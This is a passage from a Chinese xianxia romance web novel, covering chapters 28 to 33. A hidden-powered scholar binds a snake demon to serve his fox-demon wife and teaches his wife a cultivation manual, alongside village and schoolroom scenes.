闻言,玉珠儿暴怒,手打脚踢地大叫道:“大坏蛋,你将我困在这院中三年,不许我吃那些村民,也不许我吃那只小狐妖,还不许我吃这蘑菇,害我只能捉些连牙缝都塞不了的老鼠麻雀,一点营养都没有!现在好不容易抓了只蛇妖,送上门的肉,也不许我吃?!我这几年连半寸都没长高,全是你害的!” 可惜她手脚太短,够不着陈子均,只能打到空气。 陈子均淡淡地笑了一下,“你急什么,我先问她几件事,等问完了,你再吃也来得及。” 一听这话,玉珠儿立马转怒为喜,笑道:“那你快问,我姑且再忍一会儿。” 陈子均松开拎着她衣领的手,道:“你到一旁等着,别打扰我。” 玉珠儿口吐蛛丝,快速荡回了树上。 青蛇张开大嘴,目光中全是震惊和呆滞。 “这,这,这……这个臭书生,居然能一只手便控制住那只蛛妖?这怎么可能?”她的脑子已经转不利索,几乎失去了思考之力,只有无穷无尽的震惊,“这怎么可能,他不是一个普通人么?还是说……” 这时,陈子均才转头,看了青蛇一眼。 青蛇心中一跳,这一刻,对方竟像是突然变了一个人,浑身透露出生人勿近的威严和冷漠,看着她的眼神里,带着淡淡的居高临下,一点儿也不似之前那温和文雅的模样。 此时,陈子均的身上仿佛笼着一层奇异的迷雾,让她根本无法看透! 陈子均走到青蛇的面前,淡淡然地杵在那儿,对她笑了笑,“我记得我提醒过你,不要来后院,有危险。但看样子,你没将我的话放在心上。” 青蛇张着嘴,无言以对。 就算给她十个脑袋,她方才也不可能想得到,这里竟有一只蛛妖! “你跑来后院干什么?”陈子均略带“好奇”地问了句。 青蛇的目光闪烁一瞬,变回少女,若无其事地笑了笑,娇声道:“公子,我看你不许我来后院,反而更好奇了,还以为里面有什么了不得的宝物……” 说到这里,她咬着唇,楚楚可怜地看着他,“看了一圈,也没什么,不过是些杂草野菜,公子,我以后不来啦,你让我回去吧。” 陈子均看着她近在咫尺的俏脸,突然又笑了,这笑中满是嘲讽,仿佛听到什么愚蠢到能惹人发笑的蠢话。 “对我娘子之外的人,我的耐心都很有限,”他收敛了笑,语速放慢,一个字,一个字地说,“如果你还在我面前玩儿这种小孩子的幼稚把戏,我就不浪费时间了,直接让玉珠儿把你吃了,我猜她都快等不及了。” 小青瞳孔一缩。 两人四目对视。 小青只觉得对方的身上似乎散发出惊人的威压,让她的呼吸都几乎停顿。 “翘翘姐会不高兴的……”她心神慌乱,下意识地寻了个借口,“她好不容易才救活我……” “首先,从魂差手中救下你的人是我。其次,我会告诉她,你离开白崖村,去寻你姐姐了。”陈子均似笑非笑,慢吞吞道,“你觉得,她会不会怀疑我的话?” 小青的脑子里嗡的一声,全是不可思议。 他说什么? 救了她的人,是他? 陈子均看着她,淡淡道,“我再给你最后一次机会,回答方才的问题。” 过了片刻,小青颓然低头,将一切老老实实道出。 说罢后,她偷偷用余光看去,见陈子均面色无波无澜,看不出半分情绪,心中愈发忐忑。 树叶声响,玉珠儿突然从树上探出小脑袋,迫不及待地问,“你问完了吗?我可以吃她了吗?” “没有,”陈子均皱眉,“我没唤你,不许出来。” “可我饿了!” “忍着!” “哼!” 她忿忿地缩了回去。 陈子均眯起眼,思索了会儿。 “现在,我给你两个选择。”他看向小青,慢条斯理地说,“要么,你以后做我娘子的婢女,期限是一百年,而且,在此期间,不得违抗我的任何命令。要么,我现在就让玉珠儿将你吃了,免得以后麻烦。” 玉珠儿的脑袋立马又伸出来了,她怒吼道,“大坏蛋,方才你和我不是这样说的!你说问好了问题便让我吃掉她!” 小青一个激灵,醒过神来,知道此刻自己的生死全操在眼前这人的手中。 她不惧死,但她若是死了,被压在塔下的姐姐怎么办? 她咬了咬牙,不再犹豫,低头道,“小青……不,奴婢选一。” 陈子均点点头,“很好,但不用自称奴婢,我不习惯。” “不好,一点都不好!”玉珠儿跳了出来,怒道,“大坏蛋,你骗我!” 陈子均乜了她一眼:“我怎么骗你了?” 玉珠儿握紧小拳头,声音更大了几分,“你说问完问题,便让我吃掉她!” 陈子均点点头,一脸云淡风轻,“没错啊,但我还没问完,剩下的问题留待以后再问。” “……骗子!” 玉珠儿脸色陡变,妖气弥漫而出,那玉雪可爱的小女孩消失,在原地出现了一只全身覆盖绒毛,躯干漆黑的大蜘蛛,她的脑袋还是那小女孩的,只是双目发绿,脸上丘壑纵横,嘴边还出现了两颗黝黑毒牙,极为狰狞可怕。 她张开嘴,口中发出尖锐至极的厉叫,同时朝着小青狠狠扑去:“我不管,我饿了!” 小青脸色剧变,下一秒,陈子均突然冷哼一声。 大蜘蛛便发出一声凄厉无比的惨叫,扑向小青的身子在半空中陡然顿住。 噗通。 它坠落在地,痛苦挣扎,呻吟不已。 “好痛,好痛……我不吃、不吃便是啦……” 小青怔愕,不知陈子均究竟对它做了些什么,手不动脚不抬,便能让它如此痛不欲生。 陈子均淡淡叹气:“早些听话不就行了,每次都要我生气,这么久了,还不长教训。” 玉珠儿突然悲从中来,趴在地上,八条腿一阵乱划,崩溃大哭,“大坏蛋,骗子,答应给我吃的又反悔……没有信用,太卑鄙啦……送上门的肉都不许我吃啊……我还是个小孩子呢,一点有营养的都吃不到,怎么长得高?以后一辈子都是小矮子了怎么办?!” 她哭得极为伤心,上气不接下气。 陈子均提醒她,“你是妖怪,可以修炼,不会饿。” “那不一样!”玉珠儿哭得愈发伤心,八条腿蹬得像风车一样快,“再怎么修炼,肚子也是瘪瘪的,空空的,你知道这感觉有多难受吗?!” “……下次一定。” “下次,下次,下次复下次,下次何其多!”玉珠儿继续哇哇哭道,“你的下次,我已等了三年!” “再哭,便下次也不一定了!”陈子均冷哼了一声。 他可没耐心哄熊孩子。 玉珠儿的哭声顿时止住,变成强行按捺住的小声抽噎:“坏蛋、大坏蛋……” 陈子均不理她,转向青蛇,手指凌空绘出数个符文,然后打入到她的眉心。 “我已在你的命魂上种下禁制,百年后它自会消散,但在这百年之中,你若有任何轻举妄动,它便会立即重创你的命魂。” 闻言,青蛇全身发寒,她终于明白玉珠儿方才的遭遇原因为何,原本残存的半丝不甘之心也烟消云散,她垂下头道,“我知道了。” 陈子均点了点头:“现在有件事,你去替我做了。” 第29章 太阴感应诀 落日的霞光,已经染红了白崖山的边缘。 厨房中,胡翘翘边做晚饭,边偶尔抬起头,目带期盼地眺望窗外的暮色。 按照惯例,每天的这个时候,相公的身影便会出现在小路的尽头。 这也是她一天里最为期待的几个时刻之一。 若是这一生,天天都能如此。 她便别无所求。 只是今天,直到暮色渐渐黯淡,她期之待之了许久的那个人,方才出现在视野中。 小狐妖的眼眸立即亮了起来。 “相公,”她拎着裙摆,快步跑出去,很快,小奶雀儿般地投进陈子均的怀中,搂住他,软声问道,“怎么今日比平时要晚一些?人家都有些担忧了。” 陈子均摸着她的头发,笑道,“塾堂里有几个孩子调皮,我罚他们多读了会儿书,因此放学迟了。” “原来是这样,”胡翘翘毫不怀疑,弯起眼睛,甜甜一笑,“相公一定很累了吧,我去打水给你洗手洗脸。” “不用麻烦啦,翘翘姐,我已经给公子打好水了。” 身后,一个脆生生的声音响起。 胡翘翘愕然扭头,便见到小青正端着盆子,面带笑容地站在不远处。 “小青,你这是?”她有些不解。 “翘翘姐的救命之恩,我也不知道该如何报答,”青蛇垂下眼眸,神态乖巧,语气诚挚,“想来想去,也只有帮翘翘姐做些力所能及的事儿,让你以后不用太过辛苦,像是给公子打水这种小事,以后就交给我……” 听到此处,胡翘翘心中大急,任何与相公有关的事情,她都不愿意假手他人,顿时脱口而出:“不要!” 等小青和陈子均都看过来,她的手指捏着陈子均的衣角,小脸微红地呐呐道,“相公这边的事情我、我会做的……小青你要真想帮忙,就做点别的好啦……” 青蛇恍然,急忙应承。 陈子均洗了手,与胡翘翘一起来到厨房。 小青已经将饭菜和碗筷摆好。 三人坐下吃饭,小青乖觉地坐得离两人稍远,见此,胡翘翘的心里很是满意。 “下午有人送了些田螺来,我做了相公你爱吃的韭菜炒螺肉,”她拿起筷子,边说边给他夹了一颗螺肉,“都说这个时候的田螺最肥美啦,相公你多吃一些……” 也不知道是不是她筷子没握稳,那颗螺肉忽然掉了下来,然后落在陈子均的衣服上,留下了一块油渍。 “哎呀,我把相公你的衣服弄脏了!”小狐妖以手掩嘴,发出一声惊讶到略显做作的低呼,还没等陈子均说话,她便清了清嗓子,略带得意地笑道,“不过不要紧,我今天和小青学了一个洁净术,相公你看——” 她使出“洁净术”,微光一闪,那块油渍便消失得无影无踪。 “铛铛——一下就干净啦,”胡翘翘喜孜孜地表演完毕,又满眼期待地看着他,“相公,我新学的这法术怎么样?” 啪啪啪。 陈子均很配合地轻轻鼓掌,一脸震惊赞叹,“娘子好聪明,好厉害啊!以后再也不用怕吃饭的时候弄脏衣服了!” 胡翘翘心中一甜,唇角顿时又翘高了不少,这一笑,宛如百花怒放,看得旁边的小青都呆了一呆。 “可惜,小青不知道我们狐妖的修炼之法,”她又有些遗憾地轻叹了口气,“我就一点点妖气,所以只能弄干净这么一点……” 此时,小青的耳边突然传来了陈子均低沉的传音,“忘了我交代你的事情了?” 小青一个激灵,忽然忆起什么般地轻呼一声,“翘翘姐,我突然想起……其实,你还是可以修炼的!” 这话一出,胡翘翘便惊讶了,睁大眼睛看向她,“可你不是说……” “是这样,我虽然不懂得狐族的修炼之法,可我的手中还有一门人类的修炼法诀……“小青歪着脑袋,语气自然地道,“我们妖族化形后,就可以修炼人类的法诀,所以,你自然也能修炼啦。” 胡翘翘先是惊喜,接着又疑惑:“为何方才你不说呢?” 小青咽了下口水,保持镇定,“因为……因为这门法诀是我多年前偶然所得,时间太久,直到方才,才突然回想起来。” 胡翘翘恍然,“原来是这样。” “稍等,我现在便拿给你。”小青说罢,张口轻轻一吐,一本不算厚的小书便啪地跌在饭桌上。 胡翘翘吃了一惊,忍不住问,“你的肚子里怎么会有书?” 这本是妖族常识,但青蛇知道小狐妖是常识小白,只能耐心解释道,“我们妖族可以用妖气在肚子里开辟一处空间,存放自己的珍贵之物,这样我们用原身战斗时,也不必再额外携带储物类的法宝。” 胡翘翘愈发好奇,“那妖怪的肚子里能放多少东西呢?” “……这个由妖族的体型和实力决定,一般体型越大、实力越强的妖怪,能存放的东西便越多。”小青说完,张开嘴,又吐出了一柄长剑、几身衣裳、一些金银等物,“这些东西,便占用了我体内的大部分空间了。” 胡翘翘啧啧称奇,接着,用小手摸着自己的肚子,“那我的肚子里也能放东西吗?” 小青回答道,“开辟体内空间需要消耗一定妖气,等翘翘姐你修炼到一定程度,我再教你。” “好呀!”胡翘翘迫不及待地拿起那本小书。 小青松了口气,悄悄瞥了陈子均一眼。 与此同时,不久前的那一幕,再次于她脑中闪过。 …… “你想办法,将这本书给我娘子。”陈子均说。 “太阴、太阴感应诀?”小青扫了一眼手中的书册,顿时骇然。 这法诀的名字看似普通无奇,但在修真界中,却几乎到了是人尽皆知、甚至如雷贯耳的地步。 天下的宗门不计其数,各种修行之法的数量,更是浩若烟海,这么多的法门中,唯有三大仙门之中最为神秘、极少出世的天星宗,走的是感应星力、引星力入体淬炼神魂的路子。 每一颗星,都需要不同的感应之法,而这太阴感应术,便是天星宗中感应太阴星力的秘法,但一般的门人弟子只能学习太阴感应诀的入门篇章,唯有天星宗十四位星主之中的太阴星主,方有资格掌握完整的太阴感应诀。 而对方拿出来的,赫然便是完整的一本《太阴感应诀》。 小青的心中满是震惊疑惑。 对方为什么会有这《太阴感应诀》,他究竟是什么人? 他为何不亲自将《太阴感应诀》教给小狐妖,还要在小狐妖的面前假扮成一个平凡书生? 他的身上,到底还有多少秘密? 但这几个疑问一出,便被她生生地按了下去。 她深知,自己若想好好活着,就不能妄加猜测,只需要老实按照对方的吩咐去做便好…… 第30章 相公教教我 卧房内。 胡翘翘坐在桌前,小脸严肃,先用一个洁净术,将两只小手弄得干干净净,方才虔诚地捧起小书,小心翼翼地翻开了第一页。 “太阴感应诀……” 她往下看。 几秒后,小狐妖丢开了书,泪流满面地扑到陈子均的怀里,“呜呜呜,相公,里面有好多我不认识的字,怎么办……” 不,更确切一点的说,是她居然还认识其中几个字,真是稀罕…… 陈子均忍着笑,道,“平时我让你多读书,你不听,现在好了,有法诀在手也练不成。” 胡翘翘在他的怀里蹭来蹭去,哭唧唧地说,“相公教教我,教教我嘛……” 陈子均笑了:“书给我,我来讲给你听。” 胡翘翘立马开心地将书递给陈子均。 陈子均翻开第一页,指着“太阴感应诀”这几个字,温声问道,“你知道太阴是什么意思吗?” 胡翘翘摇头。 “太阴,指的是太阴星,太阴星就是月亮。所以太阴感应诀,顾名思义,就是用来感应太阴星力的法诀。” “月亮?”胡翘翘一怔,扭头看向窗外。 此刻夜色已深,夜空上一轮明月高悬,清亮的月光洒落大地。 “它就是太阴星?” 陈子均“嗯”了一声,往后翻了一页,道,“现在,我念第一句,你跟着念一句。” 胡翘翘乖乖照做。 陈子均一边读,一边给她逐字逐句地仔细讲解每一句的含义。 念了两页之后,陈子均又带着她,将这两页重新读了一遍,才问道,“这两页听懂了吗?会读了吗?” 等这两个问题胡翘翘都点头后,他道,“好,你后面一个时辰的任务,便是背熟这两页。” “……”小狐妖瞪大眼,吃吃道,“一个时辰背、背下这两页?” “不是背下,是背熟。”陈子均纠正,“一个时辰之后,我会考你。” 胡翘翘的小脸刷的一下白了。 “相公,你知道人家最怕读书了,跟着你读还可以,让我背……我、我怎么做得到呀?”她摇着陈子均的袖子,撒娇道,“还是不要背了吧,行不行?” 陈子均摇了摇头:“普通的书,你不会背也就罢了,这法诀倘若不背熟,练到一半出了差错,那后果便不堪设想,说不定会走火入魔。” 胡翘翘一听这话,慌了,急忙抱起书说:“翘翘背,翘翘背,行了吧。”说完,又抬起明眸,觑着他,可怜兮兮地小声道,“万一一个时辰不太够怎么办?相公,能不能多给翘翘一点时间啊……” “可以,那就明早吧,”陈子均不紧不慢地说,“明天早上我再考你,倘若你背不出,我就要打你的手心了。” “打手心?”胡翘翘顿时一脸紧张,眼圈红红的,一副要哭的模样,“相公,打手心很痛的,可不可以不要……” “别和我来撒娇这套,没用。”陈子均捏了捏她的鼻子,淡淡地笑,“从这一刻起,我是你的先生,你是我的学生,学生不好好背书,打手心是天经地义。” 语气很平淡,但其中的内容却不容置疑。 “……我背就是了……”小狐妖捧着书,低头看着书页上那些密密麻麻的小字,那些古古怪怪的词语,那些七弯八扭的图案,觉得好痛苦,好无奈。 它们认识她,她不认识它们啊! 但她又不敢不听相公的话,怕相公生气,只能乖乖地开始背。 陈子均也去抽了本书,自己坐在桌前,随手翻阅。 胡翘翘背了一会儿,就觉得头晕脑胀。 虽然相公已经给她讲解过,但这法诀句句含义深奥,字字蕴蓄玄机,她一时之间哪能全部领悟得了,只能不求甚解,完全就是囫囵吞枣的死记硬背。 结果就是,背了后面,忘了前面,等重新记住了前面,又忘了后面…… 越背越迷糊。 呜呜呜,怎么办啊…… 太难了…… 可是背不会,相公会失望的…… 真的好纠结、好痛苦啊…… 陈子均偶尔瞥她一眼,见她背得一脸失魂落魄如丧考妣,心里又是好笑,又是无奈。 他也不想逼她,只是这修炼一途,往往行差踏错一步,就可能堕入万劫不复之深渊,再怎么谨慎仔细都不为过,如何经得起漫不经心、敷衍了事?若是连法诀的内容都没法做到倒背如流,还谈什么修炼? 当然,他不是没掌握一些更简单、而且威力还更强于这太阴感应诀的修炼法诀,之所以选择这个给她,还是因为太阴星力独特的至纯至柔、滋养神魂的特性,最为合适现在的她。 虽说他每夜聚引太阴星力为她滋养受损的命魂,但她没修炼过太阴感应诀的话,就像干涸的沙漠留不住水源,月华流进她的身体,走完一圈,稍加滋养,多余的就会消失于无形之中,还是被浪费掉了。 若是她能自己修炼太阴感应诀,那每次引来的月华就可以在魂海之内截留一小部分,日积月累之下,她命魂的恢复速度就能大大加快。 又过了快一个时辰,忽然响起咕咚一声。 原来是小狐妖实在撑不住,一头栽在桌上,睡着了。 “能坚持到现在,也算不错。”陈子均笑了,以前这傻妞儿看书能满一刻钟,都算很努力了。 他见时间已经不早,便也没叫醒她去洗漱,只是将她和衣抱到了床上。 …… 数百里外,长陵镇府,某处颇大的府邸。 一个年过五旬的中年男子端坐在太师椅上,身材略有些发福,一对三角眼正颇为阴沉地盯着前方。 “青山宗的仙师怎么说?我儿究竟是不是见到了狐妖?” 他面前跪着一个仆从,沉声回道,“回老爷,仙师说,少爷是不小心将一块有妖气的狐皮看成了狐妖,受了惊吓,所以才会神智不清。” “这意思是,和什么妖怪无关了?” “……小的只是如实转述仙师们的结论。” “那他们能不能治好我儿子?” “……” “说!” “仙师们说,少爷是伤了神魂,一般的药物和手段起不了作用,除非能修行仙家功法,或是服用某些罕见灵药,才可能恢复如初。”顿了顿,那人小声道,“但那些灵药中最常见的,也是稀少至极,即便老爷倾家荡产,也无处可买。” “即便是说,我儿好不了了?” “……” “很好,很好……”跳动的烛火,在中年男子的脸上映出忽明忽暗的阴影,让他脸上的笑,如隐藏在阴霾中的毒蛇,阴冷、狠毒,随时可能窜出来,狠狠咬人一口。 “我儿是为了一个小娘子,方才被吓到失了神智,对么?” “是。” “你即刻去安排人抓到那小娘子,再将她带回来,满足我儿的最后心愿。记住,手脚放干净利落一些,不要引来麻烦。” “小人遵命。” 第31章 想要什么奖励 胡翘翘不知道自己睡了多久,忽然,她听到窗外嘹亮的鸡啼之声。 她睁眼,便见到相公站在她面前,声音冷漠地问:“天已经亮了,你背得怎么样了?” 胡翘翘急了,一下坐起来,道:“相公,我还没背完呢,怎么时间这么快就到了?” 而后,相公摇了摇头,目光失望:“娘子,你太让我失望了。” “相公,相公,再给翘翘一次机会,行吗?”胡翘翘的眼泪直接流了出来。 “没机会了。”相公深深地叹息,“你不好好修炼,就打不过那些坏人,我们得分开了。” 胡翘翘一愣:“什么?” 话音刚落,四周忽然涌出乌压压的一大群人,将她包围。 “妖怪!” “杀了她!” “人和妖怎么能在一起!” 声音自四面八方回荡而起,胡翘翘惊惶失措,不停喊着:“相公,相公!“ 然而,她却只见到那些人,见不到陈子均的身影,也听不到他的任何回应。 与此同时,天上忽然掉下一座巨大的宝塔,朝着胡翘翘直接压了过来。 “人妖殊途!你这个小狐妖,怎么能和凡人结为夫妻?一定要将你镇压在宝塔之下,让你们夫妻永生永世无法再见!” 人妖殊途!人妖殊途!永生永世无法再见…… “不,不要,不要拆散我和相公啊!”胡翘翘大叫一声,在黑暗中猛地睁开眼。 她白着脸,大口呼呼喘气,心脏砰砰狂跳,才发现只是一个噩梦,但她已经被吓出了满头满身的冷汗。 是啊,如果不好好修炼,万一真的有那么一天,有人要分开她和相公,她却连半点反抗的能力都没有,那岂不是真的会永远失去相公了? “怎么了,做噩梦了?”身边,响起一个温柔又关切的声音。 胡翘翘侧转头,看到陈子均就在身边,满脸关心地看着她。 她的眼泪一下就涌了出来,扑到陈子均的怀里,呜咽着说,“嗯,相公呀,翘翘刚才做了一个好可怕的噩梦……” 陈子均一只手将她搂住,另一只手一下一下地摸着她的头发,温声问,“梦到什么了?” “我没好好修炼,你很失望,然后又有一大群坏人来欺负我,逼着我们分开……”即便只是回忆一下那个梦,她便觉得全身都像是浸泡在冰水中,寒意入骨,柔软的娇躯控制不住地颤抖,边委委屈屈地掉眼泪,边抽抽噎噎地说,“又有一座塔掉下来,将我压在下面……” 陈子均搂住她的手臂微微紧了紧,“傻娘子,只是个梦而已,你看,我不正好好地和你在一起吗?” 感受到相公身上传来的凉意,胡翘翘的心这才略略安定了下来。 幸好,相公还在…… 过了会儿,她止了哭,抬头在陈子均的脸上亲了一口,轻声说,“相公,你先睡吧,我得起床了。” 陈子均一愣,“还没到寅时(凌晨三点),你怎么就起床了?” “我的书才背了一半,得起来继续背。” 陈子均捏捏她的脸蛋,“是怕我打你手心吗?好了,天亮了不会背,我也不生气,乖乖睡觉吧。” “不,我不是怕相公你打我手心,”胡翘翘抿了下唇,轻轻推开了陈子均的手,声音软糯,但语气无比坚定地小声道,“我是想赶快变得厉害起来……到时候,万一真有坏蛋想拆散我们,我就把他们统统打跑。” 说完之后,她便从床上爬起来,直接坐到桌前,拿起书开始默默背诵。 她是妖怪,即便是深夜,也无需灯烛,便能看得清清楚楚, 陈子均怔了怔,心中浮起一丝暖意。 胡翘翘正专心读着,忽然感觉到身上多了件衣服,扭头一看,是陈子均给她披了件外衣。 “相公,你怎么起来啦?” 陈子均笑了笑,在她身边坐下,“我陪你。” “不用啦,”胡翘翘将小脑袋摇得像拨浪鼓,“相公你去休息吧,我一个人没关系的。而且……” 说到这里,她顿了顿。 陈子均问,“而且什么?” “而且,你在我旁边,我会分心,只想着看你……”胡翘翘的脸红了红,小声说,“没准,还不如一个人的时候背得快……” 陈子均被她的理由逗笑了,想了想,道:“那你专心背书,我去院中坐会儿。” 胡翘翘一愣,连忙说:“夜深露重,相公你体寒,还是你在这儿,我到院子里去背吧。” “不打紧,”陈子均笑了,“我多穿两件衣服就是了。” 胡翘翘犹豫一下,才点了点头,“那相公要是觉得凉,就赶快回屋。” 陈子均从厢房出来,在前院角落的石凳上坐下。 神念缓缓延伸,方圆百里的一切尽在他的神念笼罩范围之下。 青蛇正在厢房里吐纳修炼,玉珠儿躺在蛛网中呼呼大睡。 笼中的公鸡母鸡交颈而眠。 邻家里的狗趴在院内,半睡半醒地翻了个身。 不远处的树叶上,有一颗露珠悄然滚落,滴在地上,啪地碎成数瓣儿,绽出点点幽光。 树底的土壤深处,有一只蝉儿幼虫在缓慢蜕皮,等待夏季的来临,好一鸣惊人。 数十里外,一名产妇刚分娩出一个小小的婴儿,婴儿高声啼哭,向世界宣告他的到来。 数十里外,亦有人走到生命尽头,魂魄飘飘荡荡离开肉身,撒手与这世界告别。 每一天都有暮色逝去,每一天也都有朝阳升起。 天生万物,便是如此生生不息,正如潮涨潮落,花开花谢,日升月落,周而复始。 …… 不知过了多久,东方出现微弱的亮光。 “相公,相公,我会背啦!” 胡翘翘抱着书,从房间里跑了出来。 陈子均将神念收回,转眸看向她,她的双眼非常明亮,脸上带着甜甜的笑,扬了扬手里的那本《太阴感应诀》,笑道:“那两页我已经全都背下来啦!” 还真的做到了…… 陈子均一怔。 见他不说话,胡翘翘忙道:“相公你不信吗?我背给你听呀。” 说完,她摇头晃脑的背了起来。 虽然没达到倒背如流的地步,偶尔还会卡住,停下来思索回忆片刻,但最后还是磕磕绊绊地背完了。 “娘子真厉害。”陈子均挑了下眉,夸奖道。 胡翘翘看着他,小脸一红,扭捏地问道:“那……那相公能不能给我点什么奖励呀?” 陈子均问,“你想要什么奖励?” 胡翘翘转了下眼珠子,抬起小手,指尖在他唇上快速按了一下,然后羞答答地道,“这个……” 陈子均笑了,双手捧住她的小脸,低下头,亲了下去。 她的唇,暖暖的、滑滑的,而且香甜柔软,带着天然的媚惑。 小狐妖亦是心神俱醉,尾巴也不自觉地冒了出来,在身后来回摇晃。 直到白崖村中响起了第一声的鸡啼,院子里的公鸡也开始喔喔喔地大叫,胡翘翘方才吃了一惊,连忙将偷溜出来的尾巴与耳朵收起了,然后软软地靠在陈子均的怀中,面色潮红、吐气如兰,“相公的嘴巴可真甜,嘻嘻……” 第32章 叫你一声大姐有何不妥 白崖村小书生平平凡凡的一日再次开始。 吃过一颗红得淌油的咸鸭蛋,两个荠菜窝头,以及一碗老玉米粥做的早饭后,陈子均交代胡翘翘将那两页再背熟一些,等他晚上回来再继续教她。 胡翘翘自然是乖乖答应。 陈子均便去了私塾。 胡翘翘正准备收拾厨房,小青摇着腰肢过来,自告奋勇,“翘翘姐,我正好没事儿做,让我来吧。” 胡翘翘想起给相公的袍子还没做完,欣然点头,“嗯,那便麻烦你啦。” 小青对着碗筷用了个洁净术,瞬间便干净如新,她再将它们全部收入橱柜。而后,其他地方也如法炮制。整个过程连一刻钟都没用到,厨房便到处整洁亮堂了。 做完后,她又去问胡翘翘还有什么可做。 胡翘翘想了想,“也没什么,就剩下喂鸡、打扫院子和鸡笼了。” 小青卷起袖子,拍着胸口,“都是小事,全交给我吧!” “谢谢你哦,小青~” 胡翘翘开心地道谢。 有了小青帮忙,她就能轻松不少,可以多抽出些时间来背书,以及给相公做衣服。 果然和书中说的一样,人要多行善事,做个好人,以后一定会有回报。 这时,她想到了什么,忙对刚走到门口的小青交代,“对了,在外面不要随便用法术,万一被人看见,认出你是妖怪就不好啦。” “我知道,放心。” 小青去到院子,用竹帚胡乱扫了一遍,再去喂鸡。 身为蛇妖,她吃鸡的经验颇为丰富,喂鸡倒还是破天荒的第一次。 不过她在人间多年,倒是见过旁人怎么做,先有样学样地从米缸中盛了一瓢小米,再来到鸡圈边。 将小米洒在笼边,打开笼门,两母一公三只鸡,便争先恐后地冲了出来,飞快地啄起了地上的米粒。 小青弯下腰准备打扫鸡笼,目光往笼子里掠了一眼,突然微微一怔。 鸡笼的角落里,赫然躺着个白花花圆溜溜的鸡蛋。 “居然有鸡蛋……拿去给小狐妖看看,她肯定很开心。” 小青蹲下身子,握着竹帚,小心翼翼地将鸡蛋从笼子里往外慢慢扒拉。 眼见就要成功,不远处,突然有个人说话:“大姐,麻烦你,我打听个事儿。” 小青的动作顿了顿,随后,如同没听到一般,继续扒拉鸡蛋。 “大姐,”那人的音量又提高了几分,“大姐,我和你打听个事儿。” 小青不搭理,伸手将鸡蛋拿了起来。 “大姐,穿绿衣服的大姐!”那人再次喊,声音更大了。 小青依旧置若罔闻。 那人忍不住嘀咕了句,“难道是个聋子?” 小青直起身,砰地将竹帚甩到一边,吓得身边的鸡咯咯叫着惊慌四散。 她转过身,大眼睛睁得圆溜溜的,瞪着院子外面的黑瘦少年,没好气地道,“谁是聋子?!” 顾行天也有些不悦了,“既不是聋子,为何我叫你这么多声,都不理睬人?” 小青抱臂冷哼,“我为何要理睬你,谁知道你在叫谁啊?” “……”顾行天皱眉看着她,“大姐,这院子里就你一个人,还穿着绿衣服,我不叫你叫谁?” 这大姐莫非脑子有点问题不成? 小青怒道:“放你的屁,我什么地方像大姐了?!” 她已经快气死了,自己的人形分明是个顶多十八九岁的小美人儿,还梳着未出阁的少女发式,怎么到这小子嘴里,便一口一个“大姐”了,要不是胡翘翘嘱咐过她不能滥用法术,她早就一巴掌将这小子拍成人肉饼了。 顾行天上下打量了她几眼,疑惑道,“你看着应比我大,叫你一声大姐有何不妥?” “……”小青铁青着脸,“臭小子,你想死么!” 顾行天纳闷道:“我活得好好的,为何会想死?你这大姐说话可真古怪。” 看来,脑子确实有点问题。 小青怒从心头起,手中的鸡蛋“啪嚓”一声,被捏得粉碎,蛋液流了满手。 眼前的黑瘦小子还恍然未觉,再次开口,“请问大姐,陈公子是住在此处么?” 小青怒气冲冲,想也未想地便道:“什么公子母子的,不知道!再不滚我就杀了你!” “我好声好气向你询问,你这大姐怎么如此无礼,”顾行天微微皱眉,脸上露出一抹冷色,但又摇了摇头,低声自语道,“算了,还是找公子要紧,不和她斤斤计较……真奇怪,方才我询问这村中的人,对方所说的那陈秀才分明与公子的形容相貌一模一样,指的住处也应是这儿,怎么会没有呢?” 他正要离开,不远处的一扇门被推开,胡翘翘走了出来,软声问道,“小青,外面怎么这么吵呀?” 顾行天的脚步顿住,目光落在胡翘翘的脸上,有些不太确定地来回梭巡起来。 这小娘子的五官、声音,都像是上次同公子在一块儿的那个…… 但脸蛋肌肤,似乎又比上次那个要白皙娇嫩得多…… 到底是不是啊? 胡翘翘看见他,也愣了一下,道:“咦,怎么是你?” 对方不就是前几日她同相公在市集碰到的那个卖狐皮的少年么? 怎么会出现在这儿? 这一句,反倒让顾行天确定了对方的身份。 “见过娘子,”他连忙退后一步,恭恭敬敬地行了个礼,方才问道:“请问,这里是公子的住处吗?” 胡翘翘点点头,“是呀,我和相公住在这儿。” 顾行天黑瘦的脸上露出喜色,笑道:“终于找到了。” 胡翘翘好奇地问,“你的意思是,你是来找我相公的?” “对,”顾行天点头,“公子救了我爹,对我来说,此恩如同再造。我爹也常教导我,知恩图报方是男儿所为,我是前来报答公子的!” 他虽不知道陈子均住在何处,但猜到对方应该是住在附近的村子,当日是来镇上赶集。 于是,这几天中,他便挨个村子打听过来。 轮到白崖村,已经是他问的第六个,才终于找到了恩人。 胡翘翘似懂非懂,只听出这黑瘦少年并无恶意,便笑道:“我相公还在教学生呢,要午时左右才会回来,你若有事,直接去村里的私塾找他吧?” 顾行天摇头:“今日空着手,不便见公子,麻烦娘子转告公子,等过几日,我带着礼物再来!” 胡翘翘“哦。”了一声。 顾行天正要转身离去,想到什么,又看向小青,郑重其事地道:“大姐,你的脾气如此暴躁,许是身体有什么隐患,公子医术如神,你可请他替你看看!” 说罢,他才大踏步离开。 第33章 息壤 【求追读】 午间,陈子均回来吃饭。 胡翘翘将顾行天来过之事说了,陈子均听后微微一笑,未放在心上。 小青却一撇嘴,道:“那小子讨厌得紧,黑黑瘦瘦,其貌不扬,说话又粗俗不堪!哼,下次再来,公子和翘翘姐都别见他!” 胡翘翘一愣:“说话粗俗不堪?我倒觉得他挺有礼貌的呀。” 小青正要说什么,陈子均敲了下桌子,淡淡道:“聒噪,去盛饭。” 小青气鼓鼓地照做了。 午饭后,陈子均稍事休息,将到未时,便前往私塾。 下午依旧是以学生们自主温习与练字为主,陈子均偶尔提问,倘若被问的学生答不上来,他便会用教鞭敲上其手心一记,然后再耐心讲解一番。 时间流逝,很快申时过半(下午四点)。 每到这时,陈子均会给孩子们一小段休息时间,他们可随意在私塾内外自由活动。 毕竟读书一事,要劳逸结合,方能事半功倍。 “好了,暂时休息,都自己玩儿吧。”陈子均说完,坐下,拿起杯子喝水。 孩子们欢声雷动,顿时塾堂内一片热闹。 突然,有个孩子双手撑在桌上,大声道,“先生,你很久没给我们讲故事了,今天讲一个吧?” 这话一出,余下孩子们也都兴奋起来。 “我也想听故事!” “我也是!” “好先生,讲一个吧!” 陈子均微微一笑,放下杯子,道:“好吧,你们想听什么故事?” “讲盘古开天!” “不,鲤鱼跳龙门!” “后羿射日!” 课堂里叽叽喳喳,喊什么的都有。 